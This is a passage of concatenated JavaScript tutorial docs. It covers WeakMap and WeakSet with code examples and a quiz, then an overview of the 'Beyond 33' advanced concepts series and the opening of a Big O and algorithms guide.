map.set(user, 'some data') user = null // You might think the object will be cleaned up... // But NO! The Map still holds a strong reference to the key object // It stays in memory forever until you manually delete it from the Map ``` --- ## The Rope Bridge Analogy Think of object references like ropes holding up a platform over a canyon: ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ STRONG vs WEAK REFERENCES │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ STRONG REFERENCE (Map/Set) WEAK REFERENCE (WeakMap/WeakSet) │ │ ────────────────────────── ───────────────────────────────── │ │ │ │ ═══════╦═══════ ═══════╦═══════ │ │ ║ steel ║ thread │ │ ║ cable ║ │ │ ┌──────╨──────┐ ┌──────╨──────┐ │ │ │ OBJECT │ │ OBJECT │ │ │ │ { user } │ │ { user } │ │ │ └─────────────┘ └─────────────┘ │ │ │ │ The steel cable PREVENTS The thread ALLOWS the │ │ the object from falling object to fall (be garbage │ │ (being garbage collected) collected) when no steel │ │ even if nothing else holds it. cables remain. │ │ │ │ Map keeps objects alive! WeakMap lets objects go! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` - **Strong references** (regular variables, Map keys, Set values) = steel cables that keep objects from falling - **Weak references** (WeakMap keys, WeakSet values) = threads that let objects fall when no steel cables remain --- ## WeakMap: The Basics A [WeakMap](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap) is like a Map, but with three key differences: 1. **Keys must be objects** (or non-registered [Symbols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol) in ES2023+) 2. **Keys are held weakly** — they don't prevent garbage collection 3. **No iteration** — you can't loop through a WeakMap or get its size ### WeakMap API WeakMap has just four methods: | Method | Description | Returns | |--------|-------------|---------| | `set(key, value)` | Add or update an entry | The WeakMap (for chaining) | | `get(key)` | Get the value for a key | The value, or `undefined` | | `has(key)` | Check if a key exists | `true` or `false` | | `delete(key)` | Remove an entry | `true` if removed, `false` if not found | ```javascript const weakMap = new WeakMap() const obj1 = { id: 1 } const obj2 = { id: 2 } // Set entries weakMap.set(obj1, 'first') weakMap.set(obj2, 'second') // Get values console.log(weakMap.get(obj1)) // "first" console.log(weakMap.get(obj2)) // "second" // Check existence console.log(weakMap.has(obj1)) // true console.log(weakMap.has({ id: 3 })) // false (different object reference) // Delete entries weakMap.delete(obj1) console.log(weakMap.has(obj1)) // false ``` ### Keys Must Be Objects WeakMap keys **must** be objects. Primitives like strings or numbers will throw a [TypeError](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypeError): ```javascript const weakMap = new WeakMap() // ✓ These work - objects as keys weakMap.set({}, 'empty object') weakMap.set([], 'array') weakMap.set(function() {}, 'function') weakMap.set(new Date(), 'date') // ❌ These throw TypeError - primitives as keys weakMap.set('string', 'value') // TypeError! weakMap.set(123, 'value') // TypeError! weakMap.set(true, 'value') // TypeError! weakMap.set(null, 'value') // TypeError! weakMap.set(undefined, 'value') // TypeError! ``` <Note> **Why only objects?** Primitives don't have a stable identity. The number `42` is always the same `42` everywhere in your program. Objects, however, are unique by reference. Two `{}` are different objects, even if they look identical. This identity is what makes weak references meaningful. </Note> ### Values Can Be Anything While keys must be objects, values can be any type: ```javascript const weakMap = new WeakMap() const key = { id: 1 } weakMap.set(key, 'string value') weakMap.set(key, 42) weakMap.set(key, null) weakMap.set(key, undefined) weakMap.set(key, { nested: 'object' }) weakMap.set(key, [1, 2, 3]) ``` --- ## WeakMap Use Cases ### 1. Private Data Pattern One of the most powerful uses of WeakMap is storing truly private data for class instances: ```javascript // Private data storage const privateData = new WeakMap() class User { constructor(name, password) { this.name = name // Public property // Store private data with 'this' as the key privateData.set(this, { password, loginAttempts: 0 }) } checkPassword(input) { const data = privateData.get(this) if (data.password === input) { data.loginAttempts = 0 return true } data.loginAttempts++ return false } getLoginAttempts() { return privateData.get(this).loginAttempts } } const user = new User('Alice', 'secret123') // Public data is accessible console.log(user.name) // "Alice" // Private data is NOT accessible console.log(user.password) // undefined // But methods can use it console.log(user.checkPassword('wrong')) // false console.log(user.checkPassword('secret123')) // true console.log(user.getLoginAttempts()) // 0 // When 'user' is garbage collected, private data is too! ``` <Tip> **Modern Alternative:** ES2022 introduced [private class fields](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Classes/Private_class_fields) with the `#` syntax. For new code, prefer `#password` over WeakMap for simpler private data. However, WeakMap is still useful when you need to attach private data to objects you don't control. </Tip> ### 2. DOM Element Metadata Store metadata for DOM elements without modifying them or causing memory leaks: ```javascript const elementData = new WeakMap() function trackElement(element) { elementData.set(element, { clickCount: 0, lastClicked: null, customId: Math.random().toString(36).substr(2, 9) }) } function handleClick(element) { const data = elementData.get(element) if (data) { data.clickCount++ data.lastClicked = new Date() } } // Usage const button = document.querySelector('#myButton') trackElement(button) button.addEventListener('click', () => { handleClick(button) console.log(elementData.get(button)) // { clickCount: 1, lastClicked: Date, customId: 'abc123def' } }) // When the button is removed from the DOM and no references remain, // both the element AND its metadata are garbage collected! ``` ### 3. Object Caching Cache computed results for objects without memory leaks: ```javascript const cache = new WeakMap() function expensiveOperation(obj) { // Check cache first if (cache.has(obj)) { console.log('Cache hit!') return cache.get(obj) } // Simulate expensive computation console.log('Computing...') const result = Object.keys(obj) .map(key => `${key}: ${obj[key]}`) .join(', ') // Cache the result cache.set(obj, result) return result } const user = { name: 'Alice', age: 30 } console.log(expensiveOperation(user)) // "Computing..." then "name: Alice, age: 30" console.log(expensiveOperation(user)) // "Cache hit!" then "name: Alice, age: 30" // When 'user' goes out of scope, the cached result is cleaned up automatically ``` ### 4. Object-Level Memoization Memoize functions based on object arguments: ```javascript function memoizeForObjects(fn) { const cache = new WeakMap() return function(obj) { if (cache.has(obj)) { return cache.get(obj) } const result = fn(obj) cache.set(obj, result) return result } } // Usage const getFullName = memoizeForObjects(user => { console.log('Computing full name...') return `${user.firstName} ${user.lastName}` }) const person = { firstName: 'John', lastName: 'Doe' } console.log(getFullName(person)) // "Computing full name..." -> "John Doe" console.log(getFullName(person)) // "John Doe" (cached) ``` --- ## WeakSet: The Basics A [WeakSet](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet) is like a Set, but: 1. **Values must be objects** (or non-registered Symbols in ES2023+) 2. **Values are held weakly** — they don't prevent garbage collection 3. **No iteration** — you can't loop through a WeakSet or get its size ### WeakSet API WeakSet has just three methods: | Method | Description | Returns | |--------|-------------|---------| | `add(value)` | Add an object to the set | The WeakSet (for chaining) | | `has(value)` | Check if an object is in the set | `true` or `false` | | `delete(value)` | Remove an object from the set | `true` if removed, `false` if not found | ```javascript const weakSet = new WeakSet() const obj1 = { id: 1 } const obj2 = { id: 2 } // Add objects weakSet.add(obj1) weakSet.add(obj2) // Check membership console.log(weakSet.has(obj1)) // true console.log(weakSet.has({ id: 1 })) // false (different object) // Remove objects weakSet.delete(obj1) console.log(weakSet.has(obj1)) // false ``` --- ## WeakSet Use Cases ### 1. Tracking Processed Objects Prevent processing the same object twice without memory leaks: ```javascript const processed = new WeakSet() function processOnce(obj) { if (processed.has(obj)) { console.log('Already processed, skipping...') return null } processed.add(obj) console.log('Processing:', obj) // Do expensive operation return { ...obj, processed: true } } const user = { name: 'Alice' } processOnce(user) // "Processing: { name: 'Alice' }" processOnce(user) // "Already processed, skipping..." processOnce(user) // "Already processed, skipping..." // When 'user' is garbage collected, it's automatically removed from 'processed' ``` ### 2. Circular Reference Detection Detect circular references when cloning or serializing objects: ```javascript function deepClone(obj, seen = new WeakSet()) { // Handle primitives if (obj === null || typeof obj !== 'object') { return obj } // Detect circular references if (seen.has(obj)) { throw new Error('Circular reference detected!') } seen.add(obj) // Clone arrays if (Array.isArray(obj)) { return obj.map(item => deepClone(item, seen)) } // Clone objects const clone = {} for (const key in obj) { if (obj.hasOwnProperty(key)) { clone[key] = deepClone(obj[key], seen) } } return clone } // Test with circular reference const obj = { name: 'Alice' } obj.self = obj // Circular reference! try { deepClone(obj) } catch (e) { console.log(e.message) // "Circular reference detected!" } // Normal objects work fine const normal = { a: 1, b: { c: 2 } } console.log(deepClone(normal)) // { a: 1, b: { c: 2 } } ``` ### 3. Marking "Visited" Objects Track visited nodes in graph traversal: ```javascript function traverseGraph(node, visitor, visited = new WeakSet()) { if (!node || visited.has(node)) { return } visited.add(node) visitor(node) // Visit connected nodes if (node.children) { for (const child of node.children) { traverseGraph(child, visitor, visited) } } } // Graph with potential cycles const nodeA = { value: 'A', children: [] } const nodeB = { value: 'B', children: [] } const nodeC = { value: 'C', children: [] } nodeA.children = [nodeB, nodeC] nodeB.children = [nodeC, nodeA] // Cycle back to A! nodeC.children = [nodeA] // Cycle back to A! // Traverse without infinite loop traverseGraph(nodeA, node => console.log(node.value)) // Output: "A", "B", "C" (each visited only once) ``` ### 4. Brand Checking Verify that an object was created by a specific constructor: ```javascript const validUsers = new WeakSet() class User { constructor(name) { this.name = name validUsers.add(this) // Mark as valid } static isValid(obj) { return validUsers.has(obj) } } const realUser = new User('Alice') const fakeUser = { name: 'Bob' } // Looks like a User but isn't console.log(User.isValid(realUser)) // true console.log(User.isValid(fakeUser)) // false ``` --- ## Map vs WeakMap Comparison | Feature | Map | WeakMap | |---------|-----|---------| | Key types | Any value | Objects only (+ non-registered Symbols) | | Reference type | Strong | Weak | | Prevents GC | Yes | No | | `size` property | Yes | No | | Iterable | Yes (`for...of`, `.keys()`, `.values()`, `.entries()`) | No | | `clear()` method | Yes | No | | Use case | General key-value storage | Object metadata, private data | ### When to Use Each <Tabs> <Tab title="Use Map When..."> ```javascript // You need to iterate over entries const scores = new Map() scores.set('Alice', 95) scores.set('Bob', 87) for (const [name, score] of scores) { console.log(`${name}: ${score}`) } // You need primitives as keys const config = new Map() config.set('apiUrl', 'https://api.example.com') config.set('timeout', 5000) // You need to know the size console.log(scores.size) // 2 ``` </Tab> <Tab title="Use WeakMap When..."> ```javascript // Storing metadata for objects you don't control const domData = new WeakMap() const element = document.querySelector('#myElement') domData.set(element, { clicks: 0 }) // Private data for class instances const privateFields = new WeakMap() class MyClass { constructor() { privateFields.set(this, { secret: 'data' }) } } // Caching computed results for objects const cache = new WeakMap() function compute(obj) { if (!cache.has(obj)) { cache.set(obj, expensiveOperation(obj)) } return cache.get(obj) } ``` </Tab> </Tabs> --- ## Set vs WeakSet Comparison | Feature | Set | WeakSet | |---------|-----|---------| | Value types | Any value | Objects only (+ non-registered Symbols) | | Reference type | Strong | Weak | | Prevents GC | Yes | No | | `size` property | Yes | No | | Iterable | Yes | No | | `clear()` method | Yes | No | | Use case | Unique value collections | Tracking object state | --- ## Why No Iteration? You can't iterate over WeakMap or WeakSet, and there's no `size` property. This isn't a limitation — it's by design. As MDN documents, exposing the contents of a WeakMap would make program behavior dependent on garbage collection timing, which varies across JavaScript engines and is non-deterministic. ```javascript const weakMap = new WeakMap() const weakSet = new WeakSet() // None of these exist: // weakMap.size // weakMap.keys() // weakMap.values() // weakMap.entries() // weakMap.forEach() // for (const [k, v] of weakMap) { } // weakSet.size // weakSet.keys() // weakSet.values() // weakSet.forEach() // for (const v of weakSet) { } ``` **Why?** Because garbage collection is non-deterministic. The JavaScript engine decides when to clean up objects, and it varies based on memory pressure, timing, and implementation. If you could iterate over a WeakMap, the results would depend on when garbage collection happened — that's unpredictable behavior you can't rely on. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ WHY NO ITERATION? │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ WeakMap / WeakSet contents depend on garbage collection timing: │ │ │ │ Time 0: weakMap = { obj1 → 'a', obj2 → 'b', obj3 → 'c' } │ │ │ │ Time 1: obj2 loses all strong references │ │ │ │ Time 2: GC might run... or might not │ │ weakMap = { obj1 → 'a', obj2 → 'b'(?), obj3 → 'c' } │ │ ↑ ↑ │ │ Still there! Maybe there, maybe not! │ │ │ │ If iteration were allowed, the same code could produce │ │ different results depending on when GC runs. That's bad! │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` <Note> **The tradeoff:** WeakMap and WeakSet sacrifice enumeration for automatic memory management. If you need to list all keys/values, use regular Map/Set and manage cleanup yourself. </Note> --- ## Symbol Keys (ES2023+) As of ES2023, WeakMap and WeakSet can also hold non-registered [Symbols](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Symbol). According to the TC39 proposal, this change was made because non-registered Symbols have the same uniqueness and garbage-collectible properties as objects, making them natural candidates for weak references: ```javascript const weakMap = new WeakMap() // ✓ Non-registered symbols work const mySymbol = Symbol('myKey') weakMap.set(mySymbol, 'value') console.log(weakMap.get(mySymbol)) // "value" // ❌ Registered symbols (Symbol.for) don't work const registeredSymbol = Symbol.for('registered') weakMap.set(registeredSymbol, 'value') // TypeError! // Why? Symbol.for() symbols are global and can be recreated, // defeating the purpose of weak references ``` <Warning> **Registered vs Non-Registered Symbols:** `Symbol('key')` creates a unique, non-registered symbol. `Symbol.for('key')` creates or retrieves a global, registered symbol. Only non-registered symbols can be WeakMap/WeakSet keys because registered symbols are never garbage collected. </Warning> --- ## Common Mistakes ### Mistake 1: Expecting Immediate Cleanup Garbage collection timing is unpredictable: ```javascript const weakMap = new WeakMap() let obj = { data: 'important' } weakMap.set(obj, 'metadata') obj = null // Strong reference removed // The metadata might still be there! // GC runs when the engine decides, not immediately console.log(weakMap.has(obj)) // false (obj is null) // But internally, the entry might not be cleaned up yet ``` ### Mistake 2: Using Primitives as Keys ```javascript const weakMap = new WeakMap() // ❌ These all throw TypeError weakMap.set('key', 'value') weakMap.set(123, 'value') weakMap.set(Symbol.for('key'), 'value') // Registered symbol! // ✓ Use objects or non-registered symbols weakMap.set({ key: true }, 'value') weakMap.set(Symbol('key'), 'value') ``` ### Mistake 3: Trying to Iterate ```javascript const weakMap = new WeakMap() weakMap.set({}, 'a') weakMap.set({}, 'b') // ❌ None of these work console.log(weakMap.size) // undefined for (const entry of weakMap) {} // TypeError: weakMap is not iterable weakMap.forEach(v => console.log(v)) // TypeError: forEach is not a function ``` ### Mistake 4: Using WeakMap When You Need Iteration ```javascript // ❌ BAD: Using WeakMap when you need to list all cached items const cache = new WeakMap() function getCachedItems() { // Can't do this! return [...cache.entries()] } // ✓ GOOD: Use Map if you need iteration const cache = new Map() function getCachedItems() { return [...cache.entries()] } // But remember to clean up manually! function clearOldEntries() { for (const [key, value] of cache) { if (isExpired(value)) { cache.delete(key) } } } ``` --- ## Key Takeaways <Info> **The key things to remember about WeakMap & WeakSet:** 1. **Weak references don't prevent garbage collection** — When no strong references to an object remain, it can be cleaned up even if it's in a WeakMap/WeakSet 2. **Keys/values must be objects** — No primitives allowed (except non-registered Symbols in ES2023+) 3. **No iteration or size** — You can't loop through or count entries; this is by design due to non-deterministic GC 4. **WeakMap is perfect for private data** — Store private data keyed by `this` to create truly hidden instance data 5. **WeakMap prevents metadata memory leaks** — Attach data to DOM elements or other objects without keeping them alive 6. **WeakSet tracks object state** — Mark objects as "visited" or "processed" without memory leaks 7. **Use WeakMap for object caching** — Cache computed results that automatically clean up when objects are gone 8. **Use regular Map/Set when you need iteration** — WeakMap/WeakSet trade enumeration for automatic cleanup 9. **GC timing is unpredictable** — Don't write code that depends on when exactly entries are removed 10. **Symbol.for() symbols aren't allowed** — Only non-registered symbols can be keys because registered ones never get garbage collected </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="Question 1: Why can't you use a string as a WeakMap key?"> **Answer:** WeakMap keys must be objects because weak references only make sense for values with identity. Primitives like strings are immutable and interned — the string `'hello'` is always the same `'hello'` everywhere. There's no object to garbage collect. ```javascript const weakMap = new WeakMap() // ❌ TypeError: Invalid value used as weak map key weakMap.set('hello', 'world') // ✓ Objects have identity and can be garbage collected weakMap.set({ greeting: 'hello' }, 'world') ``` </Accordion> <Accordion title="Question 2: What happens to WeakMap entries when their key is garbage collected?"> **Answer:** The entry is automatically removed from the WeakMap. You don't need to manually delete it. This happens at some point after the key loses all strong references, though the exact timing depends on when the garbage collector runs. ```javascript const weakMap = new WeakMap() let obj = { data: 'test' } weakMap.set(obj, 'metadata') console.log(weakMap.has(obj)) // true obj = null // Remove strong reference // At some point, the entry will be cleaned up automatically ``` </Accordion> <Accordion title="Question 3: Why doesn't WeakMap have a size property?"> **Answer:** Because garbage collection is non-deterministic. The size would change unpredictably based on when GC runs, making it unreliable. The same code could produce different `size` values at different times, which would be confusing and bug-prone. ```javascript const weakMap = new WeakMap() // This doesn't exist: // console.log(weakMap.size) // undefined // If it did exist, it would be unpredictable: // weakMap.size // 5? 3? 0? Depends on GC timing! ``` </Accordion> <Accordion title="Question 4: When should you use WeakMap instead of Map?"> **Answer:** Use WeakMap when: 1. You're storing metadata or private data keyed by objects 2. You don't need to iterate over the entries 3. You want automatic cleanup when the objects are no longer needed Use regular Map when: 1. You need primitive keys (strings, numbers) 2. You need to iterate over entries 3. You need to know the size 4. You want to explicitly control when entries are removed </Accordion> <Accordion title="Question 5: How does WeakSet help prevent memory leaks?"> **Answer:** WeakSet allows you to track objects (e.g., "has this been processed?") without keeping them alive. With a regular Set, adding an object creates a strong reference that prevents garbage collection even if the object is no longer used elsewhere. ```javascript // ❌ Memory leak with regular Set const processedSet = new Set() function process(obj) { if (processedSet.has(obj)) return processedSet.add(obj) // Strong reference keeps obj alive forever! // ... } // ✓ No memory leak with WeakSet const processedWeakSet = new WeakSet() function process(obj) { if (processedWeakSet.has(obj)) return processedWeakSet.add(obj) // Weak reference allows cleanup // ... } ``` </Accordion> <Accordion title="Question 6: Can you use Symbol.for('key') as a WeakMap key?"> **Answer:** No! `Symbol.for()` creates registered symbols in the global symbol registry. These symbols are never garbage collected because they can be retrieved again from anywhere using `Symbol.for()`. Only non-registered symbols (created with `Symbol()`) can be WeakMap keys. ```javascript const weakMap = new WeakMap() // ❌ TypeError: Registered symbols can't be WeakMap keys weakMap.set(Symbol.for('key'), 'value') // ✓ Non-registered symbols work (ES2023+) weakMap.set(Symbol('key'), 'value') ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What is a WeakMap in JavaScript?"> A WeakMap is a collection of key-value pairs where keys must be objects and are held via weak references. When no other strong references to a key object remain, the entry is automatically removed by garbage collection. According to MDN, WeakMap is ideal for attaching metadata to objects without preventing their cleanup. </Accordion> <Accordion title="Why can't you iterate over a WeakMap or WeakSet?"> Because garbage collection is non-deterministic — the JavaScript engine decides when to clean up unreachable objects. If iteration were allowed, the same code could produce different results depending on GC timing. The ECMAScript specification intentionally omits `size`, `keys()`, `values()`, `entries()`, and `forEach()` from WeakMap and WeakSet to prevent this unpredictable behavior. </Accordion> <Accordion title="When should I use WeakMap instead of Map?"> Use WeakMap when you store metadata keyed by objects you do not control (like DOM elements) and want automatic cleanup when those objects are garbage collected. Use regular Map when you need primitive keys, iteration, or explicit size tracking. WeakMap prevents memory leaks in caching and private data patterns. </Accordion> <Accordion title="Can WeakMap keys be strings or numbers?"> No. WeakMap keys must be objects (or non-registered Symbols in ES2023+). Primitives like strings and numbers are interned values without unique identity, so weak references to them would be meaningless. Attempting to use a primitive key throws a `TypeError`. </Accordion> <Accordion title="How does WeakMap prevent memory leaks?"> Regular Map creates strong references to key objects, keeping them alive in memory even after all other references are removed. WeakMap holds only weak references, allowing the garbage collector to reclaim key objects when they are no longer referenced elsewhere. The associated value is then automatically cleaned up as well. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Data Structures" icon="sitemap" href="/concepts/data-structures"> Map, Set, and other JavaScript data structures </Card> <Card title="Memory Management" icon="memory" href="/beyond/concepts/memory-management"> How JavaScript manages memory and garbage collection </Card> <Card title="Garbage Collection" icon="trash" href="/beyond/concepts/garbage-collection"> Deep dive into JavaScript's garbage collector </Card> <Card title="Memoization" icon="bolt" href="/beyond/concepts/memoization"> Caching function results for performance </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="WeakMap — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap"> Complete WeakMap reference with all methods, examples, and browser compatibility tables. </Card> <Card title="WeakSet — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakSet"> Complete WeakSet reference with all methods, examples, and browser compatibility tables. </Card> <Card title="Keyed Collections — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Keyed_collections"> MDN guide covering Map, Set, WeakMap, and WeakSet together with comparison and use cases. </Card> <Card title="Memory Management — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Memory_management"> How JavaScript handles memory allocation and garbage collection under the hood. </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="WeakMap and WeakSet — javascript.info" icon="newspaper" href="https://javascript.info/weakmap-weakset"> Clear explanation with practical examples of additional data storage and caching. Includes exercises to test your understanding. </Card> <Card title="ES6 Collections: Map, Set, WeakMap, WeakSet — 2ality" icon="newspaper" href="https://2ality.com/2015/01/es6-maps-sets.html"> Dr. Axel Rauschmayer's deep dive into all ES6 keyed collections. Covers the spec-level details, use cases, and edge cases for WeakMap and WeakSet. </Card> <Card title="Understanding Weak References in JavaScript — LogRocket" icon="newspaper" href="https://blog.logrocket.com/weakmap-weakset-understanding-javascript-weak-references/"> Practical guide covering WeakMap and WeakSet with real-world examples of caching and private data patterns. </Card> <Card title="JavaScript WeakMap — GeeksforGeeks" icon="newspaper" href="https://www.geeksforgeeks.org/javascript-weakmap/"> Comprehensive tutorial covering WeakMap methods and use cases with code examples. Good reference for the API and basic usage patterns. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="WeakMap and WeakSet — Namaste JavaScript" icon="video" href="https://www.youtube.com/watch?v=gwlQ_p3Mvns"> Akshay Saini's detailed walkthrough with visualizations of how weak references work. Great for visual learners who want to see memory behavior. </Card> <Card title="Map, Set, WeakMap, WeakSet — Codevolution" icon="video" href="https://www.youtube.com/watch?v=ycohYSx5aYk"> Clear comparison of all four collection types with practical code examples. Perfect for understanding when to use each one. </Card> <Card title="JavaScript WeakMap — Steve Griffith" icon="video" href="https://www.youtube.com/watch?v=XSkEMUuNPUU"> Focused tutorial on WeakMap specifically, covering the private data pattern in depth with real-world examples. </Card> </CardGroup> ================================================ FILE: docs/beyond/getting-started/overview.mdx ================================================ --- title: "Beyond 33: Extended JavaScript Concepts" sidebarTitle: "Overview" description: "Go beyond the original 33 with 29 advanced JavaScript concepts. Master hoisting, proxies, observers, and performance optimization." "og:type": "website" "article:author": "Leonardo Maldonado" "article:section": "Beyond 33" "article:tag": "advanced javascript, javascript concepts, proxies, performance optimization, metaprogramming" --- You've learned the fundamentals. Now it's time to go deeper. **Beyond 33** is an advanced extension of the original 33 JavaScript Concepts. These 29 additional concepts cover topics that experienced developers encounter in real-world applications — from memory management to browser APIs, from metaprogramming with Proxies to performance optimization patterns. <Info> **Prerequisites:** Before diving into Beyond 33, make sure you're comfortable with the [original 33 concepts](/getting-started/about). These advanced topics build directly on that foundation. </Info> --- ## What's Covered Beyond 33 is organized into 9 categories: <CardGroup cols={2}> <Card title="Language Mechanics" icon="gear" href="/beyond/concepts/hoisting"> Hoisting, Temporal Dead Zone, Strict Mode </Card> <Card title="Type System" icon="code" href="/beyond/concepts/javascript-type-nuances"> Advanced type behavior, null vs undefined, Symbols, BigInt </Card> <Card title="Objects & Properties" icon="cube" href="/beyond/concepts/property-descriptors"> Property descriptors, getters/setters, Proxy, Reflect, WeakMap/WeakSet </Card> <Card title="Memory & Performance" icon="bolt" href="/beyond/concepts/memory-management"> Memory management, garbage collection, debouncing, throttling, memoization </Card> <Card title="Modern Syntax" icon="wand-magic-sparkles" href="/beyond/concepts/tagged-template-literals"> Tagged template literals, computed property names </Card> <Card title="Browser Storage" icon="database" href="/beyond/concepts/localstorage-sessionstorage"> localStorage, sessionStorage, IndexedDB, Cookies </Card> <Card title="Events" icon="bell" href="/beyond/concepts/event-bubbling-capturing"> Event bubbling/capturing, delegation, custom events </Card> <Card title="Observer APIs" icon="eye" href="/beyond/concepts/intersection-observer"> Intersection, Mutation, Resize, and Performance observers </Card> </CardGroup> <Card title="Data Handling" icon="file-code" href="/beyond/concepts/json-deep-dive"> JSON deep dive, Typed Arrays, Blob/File API, requestAnimationFrame </Card> --- ## Who Is This For? | If you are... | Beyond 33 will help you... | |---------------|---------------------------| | **A mid-level developer** | Fill knowledge gaps and understand how JavaScript really works under the hood | | **Preparing for senior interviews** | Master advanced topics that interviewers love to ask about | | **Building complex applications** | Learn patterns for performance, memory management, and browser APIs | | **A curious developer** | Explore the deeper parts of JavaScript you've always wondered about | --- ## The Complete List ### Language Mechanics | # | Concept | Description | |---|---------|-------------| | 34 | [Hoisting](/beyond/concepts/hoisting) | How JavaScript hoists variable and function declarations | | 35 | [Temporal Dead Zone](/beyond/concepts/temporal-dead-zone) | Why accessing `let`/`const` before declaration throws errors | | 36 | [Strict Mode](/beyond/concepts/strict-mode) | How `'use strict'` catches common mistakes | ### Type System | # | Concept | Description | |---|---------|-------------| | 37 | [JavaScript Type Nuances](/beyond/concepts/javascript-type-nuances) | null vs undefined, short-circuit evaluation, typeof quirks, Symbols, BigInt | ### Objects & Properties | # | Concept | Description | |---|---------|-------------| | 38 | [Property Descriptors](/beyond/concepts/property-descriptors) | writable, enumerable, configurable attributes | | 39 | [Getters & Setters](/beyond/concepts/getters-setters) | Computed properties with `get` and `set` | | 40 | [Object Methods](/beyond/concepts/object-methods) | Object.keys(), values(), entries(), freeze(), seal() | | 41 | [Proxy & Reflect](/beyond/concepts/proxy-reflect) | Intercept object operations for metaprogramming | | 42 | [WeakMap & WeakSet](/beyond/concepts/weakmap-weakset) | Weak references and automatic garbage collection | ### Memory & Performance | # | Concept | Description | |---|---------|-------------| | 43 | [Memory Management](/beyond/concepts/memory-management) | Memory lifecycle, stack vs heap, memory leaks | | 44 | [Garbage Collection](/beyond/concepts/garbage-collection) | Mark-and-sweep, generational GC, writing efficient code | | 45 | [Debouncing & Throttling](/beyond/concepts/debouncing-throttling) | Optimize event handlers and reduce API calls | | 46 | [Memoization](/beyond/concepts/memoization) | Cache function results for performance | ### Modern Syntax & Operators | # | Concept | Description | |---|---------|-------------| | 47 | [Tagged Template Literals](/beyond/concepts/tagged-template-literals) | Custom string processing and DSLs | | 48 | [Computed Property Names](/beyond/concepts/computed-property-names) | Dynamic keys in object literals | ### Browser Storage | # | Concept | Description | |---|---------|-------------| | 49 | [localStorage & sessionStorage](/beyond/concepts/localstorage-sessionstorage) | Web Storage APIs for client-side data | | 50 | [IndexedDB](/beyond/concepts/indexeddb) | Large-scale structured client-side storage | | 51 | [Cookies](/beyond/concepts/cookies) | Read, write, and secure cookie handling | ### Events | # | Concept | Description | |---|---------|-------------| | 52 | [Event Bubbling & Capturing](/beyond/concepts/event-bubbling-capturing) | The three phases of event propagation | | 53 | [Event Delegation](/beyond/concepts/event-delegation) | Handle events efficiently with bubbling | | 54 | [Custom Events](/beyond/concepts/custom-events) | Create and dispatch your own events | ### Observer APIs | # | Concept | Description | |---|---------|-------------| | 55 | [Intersection Observer](/beyond/concepts/intersection-observer) | Detect element visibility for lazy loading | | 56 | [Mutation Observer](/beyond/concepts/mutation-observer) | Watch DOM changes in real-time | | 57 | [Resize Observer](/beyond/concepts/resize-observer) | Respond to element size changes | | 58 | [Performance Observer](/beyond/concepts/performance-observer) | Measure page performance and Core Web Vitals | ### Data Handling | # | Concept | Description | |---|---------|-------------| | 59 | [JSON Deep Dive](/beyond/concepts/json-deep-dive) | Replacers, revivers, circular references, custom toJSON | | 60 | [Typed Arrays & ArrayBuffers](/beyond/concepts/typed-arrays-arraybuffers) | Binary data handling for WebGL and file processing | | 61 | [Blob & File API](/beyond/concepts/blob-file-api) | Create, read, and manipulate binary data | | 62 | [requestAnimationFrame](/beyond/concepts/requestanimationframe) | Smooth 60fps animations synced with browser repaint | --- ## Ready to Begin? <CardGroup cols={2}> <Card title="Start with Hoisting" icon="arrow-right" href="/beyond/concepts/hoisting"> Begin your Beyond 33 journey with the first concept </Card> <Card title="Back to Fundamentals" icon="arrow-left" href="/getting-started/about"> Review the original 33 concepts first </Card> </CardGroup> ================================================ FILE: docs/concepts/algorithms-big-o.mdx ================================================ --- title: "Algorithms & Big O" sidebarTitle: "Algorithms & Big O: Measuring Code Performance" description: "Learn Big O notation and algorithms in JavaScript. Understand time complexity, searching, sorting, and common interview patterns." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Advanced Topics" "article:tag": "Big O notation, time complexity, algorithms, sorting, searching, performance analysis" --- Why does one solution pass all tests instantly while another times out? Why do interviewers care so much about "time complexity"? Consider these two functions that both find if an array contains duplicates: ```javascript // Approach A: Nested loops function hasDuplicatesA(arr) { for (let i = 0; i < arr.length; i++) { for (let j = i + 1; j < arr.length; j++) { if (arr[i] === arr[j]) return true } } return false } // Approach B: Using a Set function hasDuplicatesB(arr) { return new Set(arr).size !== arr.length } ``` Both work correctly. But with 100,000 elements, Approach A takes several seconds while Approach B finishes in milliseconds. The difference? **[Big O notation](https://en.wikipedia.org/wiki/Big_O_notation)**, which tells us how code performance scales with input size. <Info> **What you'll learn in this guide:** - What Big O notation actually measures - The common complexities: O(1), O(log n), O(n), O(n log n), O(n²) - How to analyze your own code's complexity - JavaScript built-in methods and their complexity - Implementing binary search and merge sort - Common interview patterns: two pointers, sliding window, frequency counter </Info> <Warning> **Prerequisite:** This guide assumes you're familiar with [data structures](/concepts/data-structures) like arrays, objects, Maps, and Sets. You should also be comfortable with [recursion](/concepts/recursion) for the sorting algorithms section. </Warning> --- ## What is Big O Notation? **Big O notation** describes how an algorithm's runtime or space requirements grow as input size increases. First formalized by Paul Bachmann in 1894 and later popularized by Donald 